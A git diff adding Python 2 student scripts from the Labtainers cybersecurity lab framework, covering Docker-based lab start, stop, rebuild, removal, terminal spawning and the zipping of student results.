passed in as an argument +def FindNetworkGivenSubnet(subnet): + found_match_network = False + found_match_network_name = "" + logger.DEBUG("FindNetworkGivenSubnet %s" % subnet) + networklist = [] + # First get a list of network name of driver=bridge + command = "docker network ls --filter driver=bridge" + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + logger.ERROR('Fail to get a list of network (driver=bridge), error returned %s' % output[1]) + sys.exit(1) + if len(output[0]) > 0: + network_list = output[0].split('\n') + for each_line in network_list: + # Skip empty line or the "NETWORK ID" line - the header line returned by "docker network" + current_line = each_line.strip() + if not current_line or current_line.startswith("NETWORK"): + continue + # Assume the network name is the second token on the line + container_info = current_line.split() + network_name = container_info[1] + # Do not need to check network name "bridge" + if network_name != "bridge" and network_name not in networklist: + networklist.append(network_name) + # Loop through each network (driver=bridge) to find if any that has the same subnet + for network_name in networklist: + command = "docker network inspect %s" % network_name + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + logger.ERROR('Fail to inspect the network %s, error returned %s' % (network_name, output[1])) + sys.exit(1) + if len(output[0]) > 0: + network_result = json.loads(output[0]) + if len(network_result) != 0: + result = network_result[0] + ipam_config = result["IPAM"]["Config"][0] + for key in ipam_config: + if key == "Subnet": + ipam_config_subnet = ipam_config[key] + if subnet == ipam_config_subnet: + found_match_network = True + found_match_network_name = network_name + break + return found_match_network, found_match_network_name + +def AllContainersRunning(container): + clone_names = GetContainerCloneNames(container) + for clone_full in clone_names: + if not IsContainerRunning(clone_full): + return False + return True + +def AnyContainersRunning(container): + clone_names = GetContainerCloneNames(container) + for clone_full in clone_names: + if not IsContainerRunning(clone_full): + return False + return True + +def IsContainerRunning(mycontainer_name): + cmd = 'docker ps -f name=%s' % mycontainer_name + try: + s = subprocess.check_output(shlex.split(cmd)) + except: + return False + if mycontainer_name in s: + return True + else: + return False + +def ShouldBeRunning(start_config, container): + if start_config.multi_user is not None and start_config.multi_user != 'clones': + if start_config.multi_user == 'server' and container.client == 'yes': + return False + if start_config.multi_user == 'client' and container.client != 'yes': + return False + return True + + +def DoStopOne(start_config, labtainer_config, lab_path, name, container, ZipFileList, ignore_stop_error, results, keep_running): + labname = os.path.basename(lab_path) + #dumlog = os.path.join('/tmp', name+'.log') + #sys.stdout = open(dumlog, 'w') + #sys.stderr = sys.stdout + retval = True + mycontainer_name = container.full_name + container_user = container.user + container_password = container.password + mycontainer_image = container.image_name + haveContainer = AllContainersCreated(container) + logger.DEBUG("AllContainersCreated for %s result (%s)" % (container.name, haveContainer)) + + # IsContainerCreated returned FAILURE if container does not exists + # error: can't stop non-existent container + if not haveContainer: + if ShouldBeRunning(start_config, container) and not ignore_stop_error: + logger.ERROR("Container %s does not exist!\n" % mycontainer_name) + retval = False + + else: + clone_names = GetContainerCloneNames(container) + for mycontainer_name in clone_names: + if not IsContainerRunning(mycontainer_name): + if ShouldBeRunning(start_config, container): + if ignore_stop_error: + logger.DEBUG("container %s not running\n" % (mycontainer_name)) + else: + logger.ERROR("container %s not running\n" % (mycontainer_name)) + retval = False + continue + GatherOtherArtifacts(lab_path, name, mycontainer_name, container_user, container_password, ignore_stop_error) + # Before stopping a container, run 'Student.py' + # This will create zip file of the result + + baseZipFilename, currentContainerZipFilename = CreateCopyChownZip(start_config, labtainer_config, name, + mycontainer_name, mycontainer_image, container_user, container_password, ignore_stop_error, keep_running) + if baseZipFilename is not None: + ZipFileList.append(currentContainerZipFilename) + logger.DEBUG("baseZipFilename is (%s)" % baseZipFilename) + + #command = 'docker exec %s echo "%s\n" | sudo -S rmdir /tmp/.mylockdir 2>/dev/null' % (mycontainer_name, container_password) + command = 'docker exec %s sudo rmdir /tmp/.mylockdir 2>/dev/null' % (mycontainer_name) + os.system(command) + if not keep_running: + did_this = [] + for mysubnet_name, mysubnet_ip in container.container_nets.items(): + subnet_name = mysubnet_name + if ':' in mysubnet_name: + subnet_name = mysubnet_name.split(':')[0] + if subnet_name not in did_this: + disconnectNetworkResult = DisconnectNetworkFromContainer(mycontainer_name, subnet_name) + did_this.append(subnet_name) + + # Stop the container + + if not keep_running: + StopMyContainer(mycontainer_name, ignore_stop_error) + + results.append(retval) + +def SynchStop(start_config, run_container=None): + threads = [] + now = datetime.datetime.now() + ts = now.strftime('%Y%m%d%H%M%S') + for name, container in start_config.containers.items(): + if run_container is not None and container.full_name != run_container: + #print('not for me %s ' % run_container) + continue + clone_names = GetContainerCloneNames(container) + for mycontainer_name in clone_names: + t = threading.Thread(target=PreStop, args=[mycontainer_name, ts]) + threads.append(t) + t.setName(name) + t.start() + + logger.DEBUG('prestop started on all') + for t in threads: + t.join() + logger.DEBUG('joined %s' % t.getName()) + +def DoStop(start_config, labtainer_config, lab_path, ignore_stop_error, run_container=None, servers=None, clone_count=None, keep_running=False): + mycwd = os.getcwd() + retval = True + labname = os.path.basename(lab_path) + host_home_xfer = os.path.join(labtainer_config.host_home_xfer, labname) + logger.DEBUG("DoStop Multiple Containers and/or multi-home networking, keep_running is %r" % keep_running) + SynchStop(start_config, run_container) + username = getpass.getuser() + + baseZipFilename = "" + ZipFileList = [] + threads = [] + results = [] + for name, container in start_config.containers.items(): + if run_container is not None and container.full_name != run_container: + #print('not for me %s ' % run_container) + continue + mycontainer_name = '%s.%s.student' % (labname, container.name) + + t = threading.Thread(target=DoStopOne, args=(start_config, labtainer_config, lab_path, + name, container, ZipFileList, ignore_stop_error, results, keep_running)) + threads.append(t) + t.setName(name) + t.start() + + logger.DEBUG('stopped all') + for t in threads: + t.join() + logger.DEBUG('joined %s' % t.getName()) + + if not keep_running: + RemoveSubnets(start_config.subnets, ignore_stop_error) + if not ignore_stop_error: + if False in results: + logger.ERROR('DoStopOne has at least one failure!') + sys.exit(1) + + if len(ZipFileList) == 0: + if ignore_stop_error: + logger.DEBUG('No zip files found') + else: + logger.ERROR('No zip files found') + return None + base_filename = os.path.basename(ZipFileList[0]) + baseZipFilename = base_filename.split('=')[0] + + xfer_dir = "/home/%s/%s" % (username, host_home_xfer) + + # Create docs.zip in xfer_dir if COLLECT_DOCS is "yes" + if start_config.collect_docs.lower() == "yes": + docs_zip_file = "%s/docs.zip" % xfer_dir + logger.DEBUG("Zipping docs directory to %s" % docs_zip_file) + + docs_path = '%s/docs' % lab_path + if os.path.isdir(docs_path): + docs_zip_filelist = glob.glob('%s/*' % docs_path) + logger.DEBUG(docs_zip_filelist) + + # docs.zip file + docs_zipoutput = zipfile.ZipFile(docs_zip_file, "w") + # Go to the docs_path + os.chdir(docs_path) + for docs_fname in docs_zip_filelist: + docs_basefname = os.path.basename(docs_fname) + docs_zipoutput.write(docs_basefname, compress_type=zipfile.ZIP_DEFLATED) + # Note: DO NOT remove after the file is zipped + docs_zipoutput.close() + + # Add docs.zip into the ZipFileList + ZipFileList.append(docs_zip_file) + else: + logger.DEBUG('no docs at %s' % docs_path) + + # Combine all the zip files + logger.DEBUG("ZipFileList is ") + logger.DEBUG(ZipFileList) + logger.DEBUG("baseZipFilename is (%s)" % baseZipFilename) + combinedZipFilename = "%s/%s.zip" % (xfer_dir, baseZipFilename) + logger.DEBUG("The combined zip filename is %s" % combinedZipFilename) + zipoutput = zipfile.ZipFile(combinedZipFilename, "w") + # Go to the xfer_dir + os.chdir(xfer_dir) + for fname in ZipFileList: + basefname = os.path.basename(fname) + zipoutput.write(basefname, compress_type=zipfile.ZIP_DEFLATED) + # Remove after the file is zipped + os.remove(basefname) + + # Add count.json and labtainer.log (if they exist) to the zip file + count_path = LabCount.getPath('./', labname) + #print "count_path is %s" % count_path + if os.path.isfile(count_path): + parent = os.path.dirname(count_path) + os.chdir(mycwd) + os.chdir(parent) + fname = os.path.join('./', os.path.basename(count_path)) + zipoutput.write(fname, compress_type=zipfile.ZIP_DEFLATED) + os.chdir(mycwd) + my_labtainer_log = os.path.join('./', 'labtainer.log') + if os.path.exists(my_labtainer_log): + zipoutput.write(my_labtainer_log, compress_type=zipfile.ZIP_DEFLATED) + + zipoutput.close() + post_zip = os.path.join(lab_path, 'bin', 'postzip') + if os.path.isfile(post_zip): + cmd = "%s %s" % (post_zip, combinedZipFilename) + os.system(cmd) + + os.chdir(mycwd) + return retval + +# ignore_stop_error - set to 'False' : do not ignore error +# ignore_stop_error - set to 'True' : ignore certain error encountered since it might not even be an error +# such as error encountered when trying to stop non-existent container +def StopLab(lab_path, ignore_stop_error, run_container=None, servers=None, clone_count=None, keep_running=False): + labname = os.path.basename(lab_path) + myhomedir = os.environ['HOME'] + logger.DEBUG("keep_running is %r" % keep_running) + logger.DEBUG("ParseStartConfig for %s" % labname) + is_valid_lab(lab_path) + labtainer_config, start_config = GetBothConfigs(lab_path, logger, servers, clone_count) + host_home_xfer = os.path.join(labtainer_config.host_home_xfer, labname) + + # Check existence of /home/$USER/$HOST_HOME_XFER directory - create if necessary + host_xfer_dir = '%s/%s' % (myhomedir, host_home_xfer) + CreateHostHomeXfer(host_xfer_dir) + + if DoStop(start_config, labtainer_config, lab_path, ignore_stop_error, run_container=run_container, + servers=servers, clone_count=clone_count, keep_running=keep_running): + # Inform user where results are stored + print "Results stored in directory: %s" % host_xfer_dir + return host_xfer_dir + +def DoMoreterm(lab_path, container_name, clone_num=None): + labname = os.path.basename(lab_path) + mycwd = os.getcwd() + myhomedir = os.environ['HOME'] + logger.DEBUG("current working directory for %s" % mycwd) + logger.DEBUG("current user's home directory for %s" % myhomedir) + logger.DEBUG("ParseStartConfig for %s" % labname) + is_valid_lab(lab_path) + labtainer_config, start_config = GetBothConfigs(lab_path, logger) + if container_name not in start_config.containers: + print("Container %s not found. Container must be one of the following:" % container_name) + for container_name in start_config.containers: + print('\t%s' % container_name) + print("Usage: moreterm.py ") + exit(1) + + logger.DEBUG('num terms is %d' % start_config.containers[container_name].terminals) + if clone_num is None: + mycontainer_name = '%s.%s.student' % (labname, container_name) + else: + mycontainer_name = '%s.%s-%d.student' % (labname, container_name, clone_num) + + if not IsContainerCreated(mycontainer_name): + logger.ERROR('container %s not found' % mycontainer_name) + sys.exit(1) + if not IsContainerRunning(mycontainer_name): + logger.ERROR("Container %s is not running!\n" % (mycontainer_name)) + sys.exit(1) + for x in range(1): + # Change to allow spawning if terminal is 0 but not -1 + if start_config.containers[container_name].terminals == -1: + print("No terminals supported for this component") + sys.exit(1) + else: + spawn_command = "gnome-terminal -- docker exec -it %s bash -l &" % mycontainer_name + logger.DEBUG("spawn_command is (%s)" % spawn_command) + os.system(spawn_command) + +def DoTransfer(lab_path, container_name, filename, direction): + '''TBD this is not tested and likey broken''' + labname = os.path.basename(lab_path) + mycwd = os.getcwd() + myhomedir = os.environ['HOME'] + logger.DEBUG("current working directory for %s" % mycwd) + logger.DEBUG("current user's home directory for %s" % myhomedir) + logger.DEBUG("ParseStartConfig for %s" % labname) + is_valid_lab(lab_path) + labtainer_config, start_config = GetBothConfigs(lab_path, logger) + host_home_xfer = os.path.join(labtainer_config.host_home_xfer, labname) + logger.DEBUG('num terms is %d' % start_config.containers[container_name].terminals) + host_xfer_dir = '%s/%s' % (myhomedir, host_home_xfer) + + mycontainer_name = '%s.%s.student' % (labname, container_name) + if not IsContainerCreated(mycontainer_name): + logger.ERROR('container %s not found' % mycontainer_name) + sys.exit(1) + if not IsContainerRunning(mycontainer_name): + logger.ERROR("Container %s is not running!\n" % (mycontainer_name)) + sys.exit(1) + container_user = "" + for name, container in start_config.containers.items(): + if mycontainer_name == container.full_name: + container_user = container.user + + if direction == "TOCONTAINER": + # Transfer from host to container + filename_path = '%s/%s' % (host_xfer_dir, filename) + logger.DEBUG("File to transfer from host is (%s)" % filename_path) + if os.path.exists(filename_path) and os.path.isfile(filename_path): + # Copy file and chown it + command = 'docker cp %s %s:/home/%s/' % (filename_path, mycontainer_name, container_user) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call DoTransfer copy (TOCONTAINER) file (%s) is %s" % (filename_path, result)) + if result == FAILURE: + logger.ERROR("Failed to copy file to container %s!\n" % mycontainer_name) + sys.exit(1) + command = 'docker exec %s sudo chown %s:%s /home/%s/%s' % (mycontainer_name, container_user, container_user, container_user, filename) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call DoTransfer chown file (%s) is %s" % (filename_path, result)) + if result == FAILURE: + logger.ERROR("Failed to set permission in container %s!\n" % mycontainer_name) + sys.exit(1) + else: + logger.ERROR('Host does not have %s file' % filename_path) + sys.exit(1) + else: + # Transfer from container to host + command = 'docker cp %s:/home/%s/%s %s/' % (mycontainer_name, container_user, filename, host_xfer_dir) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call DoTransfer copy (TOHOST) file (%s) is %s" % (filename, result)) + if result == FAILURE: + logger.ERROR("Failed to copy file from container %s!\n" % mycontainer_name) + sys.exit(1) + + +def CopyFilesToHost(lab_path, container_name, full_container_name, container_user): + labname = os.path.basename(lab_path) + is_valid_lab(lab_path) + config_path = os.path.join(lab_path,"config") + copy_path = os.path.join(config_path,"files_to_host.config") + logger.DEBUG('CopyFilesToHost %s %s %s' % (labname, container_name, full_container_name)) + logger.DEBUG('CopyFilesToHost copypath %s' % copy_path) + if os.path.isfile(copy_path): + with open(copy_path) as fh: + for line in fh: + if not line.strip().startswith('#'): + try: + os.mkdir(os.path.join(os.getcwd(), labname)) + except OSError as e: + #logger.ERROR('could not mkdir %s in %s %s' % (labname, os.getcwd(),str(e))) + pass + container, file_name = line.split(':') + if container == container_name: + dest = os.path.join(os.getcwd(), labname, file_name) + command = 'docker cp %s:/home/%s/%s %s' % (full_container_name, container_user, + file_name.strip(), dest) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call DoTransfer copy (TOHOST) file (%s) is %s" % (file_name, + result)) + if result == FAILURE: + logger.ERROR("Failed to copy file from container %s!\n" % full_container_name) + sys.exit(1) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/moreterm.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/moreterm.py new file mode 100755 index 000000000..cda62d519 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/moreterm.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python + +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +# Filename: moreterm.py +# Description: +# This is the script to be run by the student to spawn more terminals. +# Note: +# 1. It needs 'start.config' file, where +# is given as a parameter to the script. +# +# It will perform the following tasks: +# a. If the lab has only one container, only one terminal for that +# container will be spawned +# b. If the lab has multiple containers, the number of terminals +# specified in the start.config will be used, unless +# the user passed the optional argument specifying the number of +# terminal + +import glob +import json +import md5 +import os +import re +import subprocess +import sys +import time +import zipfile +import ParseStartConfig +import labutils +import logging +import LabtainerLogging + +LABS_ROOT = os.path.abspath("../../labs/") + +def usage(): + sys.stderr.write("Usage: moreterm.py [] []\n") + exit(1) + +# Usage: (see usage) +def main(): + num_args = len(sys.argv) + container = None + clone_number = None + if num_args < 2: + usage() + elif num_args == 2: + clone_number = None + container = sys.argv[1] + elif num_args == 3: + if type(sys.argv[2]) is int: + clone_number = int(sys.argv[2]) + container = sys.argv[1] + else: + container = sys.argv[2] + elif num_args == 4: + clone_number = int(sys.argv[3]) + container = sys.argv[2] + else: + usage() + + labname = sys.argv[1] + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging moreterm.py for %s lab" % labname) + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + labutils.DoMoreterm(lab_path, container, clone_number) + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/rebuild.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/rebuild.py new file mode 100755 index 000000000..b223fd77c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/rebuild.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Filename: redo.py +# Description: +# For lab development testing workflow. This will stop containers of a lab, create or update lab images +# and start the containers. +# + +import sys +import os +import labutils +import logging +import LabtainerLogging +import argparse +import CurrentLab + + +# Usage: redo.py [-f] +# Arguments: +# - the lab to stop, delete and start +# [-f] will force a rebuild +# [-q] will load the lab using a predetermined email. +def main(): + parser = argparse.ArgumentParser(description='Build the images of a lab and start the lab.') + parser.add_argument('labname', help='The lab to build') + parser.add_argument('-f', '--force', action='store_true', help='Force build of all containers in the lab.') + parser.add_argument('-p', '--prompt', action='store_true', help='prompt for email, otherwise use stored') + parser.add_argument('-C', '--force_container', action='store', help='force rebuild just this container') + parser.add_argument('-o', '--only_container', action='store', help='run only this container') + parser.add_argument('-t', '--test_registry', action='store_true', default=False, help='build from images in the test registry') + parser.add_argument('-s', '--servers', action='store_true', help='Start containers that are not clients -- intended for distributed Labtainers') + parser.add_argument('-w', '--workstation', action='store_true', help='Intended for distributed Labtainers, start the client workstation.') + parser.add_argument('-n', '--client_count', action='store', help='Number of clones of client containers to create, intended for multi-user labs') + parser.add_argument('-L', '--no_pull', action='store_true', default=False, help='Local building, do not pull from internet') + + args = parser.parse_args() + quiet_start = True + if args.prompt == True: + quiet_start = False + if args.force is not None: + force_build = args.force + #print('force %s quiet %s container %s' % (force_build, quiet_start, args.container)) + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", args.labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging Rebuild.py for %s lab" % args.labname) + lab_path = os.path.join(os.path.abspath('../../labs'), args.labname) + + if args.test_registry: + if os.getenv('TEST_REGISTRY') is None: + #print('use putenv to set it') + os.putenv("TEST_REGISTRY", "TRUE") + ''' why does putenv not set the value? ''' + os.environ['TEST_REGISTRY'] = 'TRUE' + else: + #print('exists, set it true') + os.environ['TEST_REGISTRY'] = 'TRUE' + print('set TEST REG to %s' % os.getenv('TEST_REGISTRY')) + + distributed = None + if args.servers and args.workstation: + print('--server and --workstation are mutually exclusive') + exit(1) + elif args.servers: + distributed = 'server' + elif args.workstation: + distributed = 'client' + labutils.RebuildLab(lab_path, force_build=force_build, quiet_start=quiet_start, + just_container=args.force_container, run_container=args.only_container, servers=distributed, clone_count=args.client_count, no_pull=args.no_pull) + current_lab = CurrentLab.CurrentLab() + current_lab.add('lab_name', args.labname) + current_lab.add('clone_count', args.client_count) + current_lab.add('servers', distributed) + current_lab.save() + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/redo.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/redo.py new file mode 100755 index 000000000..a08a92dd5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/redo.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Filename: redo.py +# Description: +# For lab development testing workflow. This will stop containers of a lab, create or update lab images +# and start the containers. +# + +import sys +import os +import labutils +import logging +import argparse +import LabtainerLogging +import CurrentLab + +def main(): + + dir_path = os.path.dirname(os.path.realpath(__file__)) + dir_path = dir_path[:dir_path.index("scripts/labtainer-student")] + path = dir_path + "labs/" + dirs = os.listdir(path) + parser = argparse.ArgumentParser(description='Restart a fresh instance of aLabtainers lab. Previous work on this lab will be lost. The lab will be stopped if it is running.') + parser.add_argument('labname', help='The lab to run') + parser.add_argument('-q', '--quiet', action='store_true', help='Do not prompt for email, use previoulsy supplied email.') + parser.add_argument('-s', '--servers', action='store_true', help='Intended for distributed Labtainers, start the containers that are not clients.') + parser.add_argument('-w', '--workstation', action='store_true', help='Intended for distributed Labtainers, start the client workstation.') + parser.add_argument('-n', '--client_count', action='store', help='Number of clones of client components to create, itended for multi-user labs') + parser.add_argument('-o', '--only_container', action='store', help='run only the named container') + args = parser.parse_args() + labname = args.labname + if labname not in dirs: + sys.stderr.write("ERROR: Lab named %s was not found!\n" % labname) + sys.exit(1) + + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging start.py for %s lab" % labname) + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + update_flag='../../../.doupdate' + if os.path.isfile(update_flag): + ''' for prepackaged VMs, do not auto update after first lab is run ''' + os.remove(update_flag) + #print('lab_path is %s' % lab_path) + distributed = None + if args.servers and args.workstation: + print('--server and --workstation are mutually exclusive') + exit(1) + elif args.servers: + distributed = 'server' + elif args.workstation: + distributed = 'client' + if distributed is not None and args.client_count is not None: + print('Cannot specify --server or --client if a --client_count is provided') + exit(1) + labutils.RedoLab(lab_path, quiet_start=args.quiet, + run_container=args.only_container, servers=distributed, clone_count=args.client_count) + current_lab = CurrentLab.CurrentLab() + current_lab.add('lab_name', args.labname) + current_lab.add('clone_count', args.client_count) + current_lab.add('servers', distributed) + current_lab.save() + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/removelab.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/removelab.py new file mode 100755 index 000000000..43752eb03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/removelab.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +import subprocess +import sys +import os +import argparse + +def removeLab(lab): + cmd = 'docker ps -a' + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + lab_container = ' %s.' % lab + container_list = [] + for line in output[0].splitlines(): + #print line + if lab_container in line: + container_list.append(line.split()[0]) + if len(container_list) > 0: + cmd = 'docker rm %s' % ' '.join(container_list) + print cmd + os.system(cmd) + + + cmd = 'docker images' + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + image_find = '/%s.' % lab + image_find2 = '%s.' % lab + image_list = [] + for line in output[0].splitlines(): + #print line + if (image_find in line or line.startswith(image_find2)) and ' ' not in line: + parts = line.split() + image = '%s:%s' % (parts[0], parts[1]) + image_list.append(image) + if len(image_list) > 0: + cmd = 'docker rmi -f %s' % ' '.join(image_list) + print cmd + os.system(cmd) + else: + print('No images for %s' % lab) + +def main(): + parser = argparse.ArgumentParser(prog='removelab', description='Remove a lab and its images from a Labtainers installation. \ + The next time the lab is run, a fresh (updated) image will be pulled.') + parser.add_argument('labname', default='NONE', nargs='?', action='store', help='The lab to delete') + args = parser.parse_args() + removeLab(args.labname) + +if __name__ == '__main__': + sys.exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/start.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/start.py new file mode 100755 index 000000000..7648bdb3f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/start.py @@ -0,0 +1,199 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public domain and is not subject to copyright. +''' +import sys +import labutils +import logging +import LabtainerLogging +import os +import pydoc +import platform +import argparse +import stat +import subprocess +import CurrentLab +''' +Start a Labtainers exercise. +''' +def getLabVersion(path): + if os.path.isfile(path): + with open(path) as fh: + line = fh.read().strip() + lname, version = line.split() + return lname, version + return None, None + +def getVerList(dirs, path): + vlist = {} + for lab in sorted(dirs): + lpath = os.path.join(path, lab, 'config', 'version') + lname, version = getLabVersion(lpath) + if lname is not None: + if lname not in vlist: + vlist[lname] = {} + vlist[lname][lab] = int(version) + return vlist + +def hasLabInstalled(lab): + cmd = 'docker ps -a | grep %s' % lab + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0]) > 0: + for line in output[0].splitlines(): + print line + name = line.split()[1] + thislab = os.path.basename(name.split('.')[0]) + if thislab == lab: + return True + return False + +def isLatestVersion(versions, lab): + if versions is not None: + if lab in versions: + this_version = versions[lab] + for l in versions: + if versions[l] > this_version: + if not hasLabInstalled(lab): + return False + return True + + +def showLabs(dirs, path, versions, skip): + description = '' + description += 'Start a Labtainers lab\n' + description+="List of available labs:\n\n" + for loc in sorted(dirs): + if loc in skip: + continue + versionfile = os.path.join(path, loc, "config", "version") + lname, dumb = getLabVersion(versionfile) + if lname is None or isLatestVersion(versions[lname], loc): + description = description+'\n '+loc + aboutfile = os.path.join(path, loc, "config", "about.txt") + + if(os.path.isfile(aboutfile)): + description += ' - ' + with open(aboutfile) as fh: + for line in fh: + description += line + else: + description += "\n" + #sys.stderr.write(description) + pydoc.pager(description) + print('Use "-h" for help.') + +def getRev(): + with open('../../README.md') as fh: + for line in fh: + if line.strip().startswith('Revision:'): + parts = line.split(':') + if len(parts) == 2 and len(parts[1].strip())>0: + return 'revision: '+parts[1].strip() + else: + return "no revision, build environment" + return '??' + +def diagnose(): + xpath = '/tmp/.X11-unix/X0' + if not os.path.exists(xpath): + print("Missing %s, will prevent GUI's from running. Try rebooting the Linux host" % xpath) + else: + print("No problems found with the environment.") + +def main(): + dir_path = os.path.dirname(os.path.realpath(__file__)) + dir_path = dir_path[:dir_path.index("scripts/labtainer-student")] + path = dir_path + "labs/" + dirs = os.listdir(path) + rev = getRev() + #revision='%(prog)s %s' % rev + parser = argparse.ArgumentParser(prog='labtainer', description='Start a Labtainers lab. Provide no arguments see a list of labs.') + parser.add_argument('labname', default='NONE', nargs='?', action='store', help='The lab to run') + parser.add_argument('-q', '--quiet', action='store_true', help='Do not prompt for email, use previoulsy supplied email.') + parser.add_argument('-r', '--redo', action='store_true', help='Creates new instance of the lab, previous work will be lost.') + parser.add_argument('-v', '--version', action='version', version='%(prog)s '+rev) + parser.add_argument('-d', '--diagnose', action='store_true', help='Run diagnostics on the environment expected by Labtainers') + parser.add_argument('-s', '--servers', action='store_true', help='Intended for distributed Labtainers, start the containers that are not clients.') + parser.add_argument('-w', '--workstation', action='store_true', help='Intended for distributed Labtainers, start the client workstation.') + parser.add_argument('-n', '--client_count', action='store', help='Number of clones of client components to create, itended for multi-user labs') + parser.add_argument('-o', '--only_container', action='store', help='Run only the named container') + parser.add_argument('-t', '--test_registry', action='store_true', default=False, help='Run with images from the test registry') + num_args = len(sys.argv) + versions = getVerList(dirs, path) + if num_args < 2: + skip_labs = os.path.join(dir_path, 'distrib', 'skip-labs') + skip = [] + if os.path.isfile(skip_labs): + with open(skip_labs) as fh: + for line in fh: + f = os.path.basename(line).strip() + skip.append(f) + showLabs(dirs, path, versions, skip) + exit(0) + args = parser.parse_args() + labname = args.labname + if labname == 'NONE' and not args.diagnose: + sys.stderr.write("Missing lab name\n" % labname) + parser.usage() + sys.exit(1) + if args.diagnose: + diagnose() + if labname == 'NONE': + exit(0) + + if labname not in dirs: + sys.stderr.write("ERROR: Lab named %s was not found!\n" % labname) + sys.exit(1) + + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging start.py for %s lab" % labname) + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + update_flag='../../../.doupdate' + if os.path.isfile(update_flag): + ''' for prepackaged VMs, do not auto update after first lab is run ''' + os.remove(update_flag) + #print('lab_path is %s' % lab_path) + distributed = None + if args.servers and args.workstation: + print('--server and --workstation are mutually exclusive') + exit(1) + elif args.servers: + distributed = 'server' + elif args.workstation: + distributed = 'client' + if distributed is not None and args.client_count is not None: + print('Cannot specify --server or --client if a --client_count is provided') + exit(1) + if args.test_registry: + if os.getenv('TEST_REGISTRY') is None: + #print('use putenv to set it') + os.putenv("TEST_REGISTRY", "TRUE") + ''' why does putenv not set the value? ''' + os.environ['TEST_REGISTRY'] = 'TRUE' + else: + #print('exists, set it true') + os.environ['TEST_REGISTRY'] = 'TRUE' + print('set TEST REG to %s' % os.getenv('TEST_REGISTRY')) + + if not args.redo: + labutils.StartLab(lab_path, quiet_start=args.quiet, run_container=args.only_container, servers=distributed, clone_count=args.client_count) + else: + labutils.RedoLab(lab_path, quiet_start=args.quiet, + run_container=args.only_container, servers=distributed, clone_count=args.client_count) + current_lab = CurrentLab.CurrentLab() + current_lab.add('lab_name', args.labname) + current_lab.add('clone_count', args.client_count) + current_lab.add('servers', distributed) + current_lab.save() + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git 